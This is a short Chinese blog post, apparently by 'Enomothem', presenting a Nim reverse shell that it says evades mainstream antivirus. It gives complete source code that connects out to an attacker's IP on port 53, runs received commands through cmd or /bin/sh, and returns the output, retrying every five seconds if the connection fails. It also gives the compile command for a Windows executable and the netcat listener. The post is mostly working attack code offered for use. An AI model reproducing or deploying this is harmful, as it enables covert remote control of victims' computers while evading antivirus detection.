Nim socket 免杀


Ax Nim socket 免杀

可以免杀主流的杀软

Bx 步骤

Nim源代码

import net
import osproc
import os

var ip = ""
var port = 53

var socket = newSocket()
var finalcommand : string

while true:
    try:
        socket.connect(ip,Port(port))
        while true:
            try:
                socket.send("<nimshell>")
                var command = socket.recvLine()
                if command == "bye":
                    socket.send("退出 NIM SHELL")
                    socket.close()
                    system.quit(0)
                if system.hostOS == "windows":
                    finalcommand = "cmd /C" & command
                else:
                    finalcommand = "/bin/sh -c" & command
                var (cmdres, _) = execCmdEx(finalcommand)
                socket.send(cmdres)
            except:
                socket.close()
                system.quit(0)
    except:
        echo "fail,5s continue.."
        sleep(5000)
        continue

注意,不允许使用制表符,替换为空格即可。

编译成C

nim c -d:mingw socket免杀.nim
// C是编译成C语言,-d:mingw是编译成windows下可以执行的dll或exe。

服务端

nc -nlvp 53

免杀状态

服务端

Cx Refer

https://blog.csdn.net/csdnmmd/article/details/123672531


文章作者: Enomothem
版权声明: 本博客所有文章除特别声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Enomothem !
  目录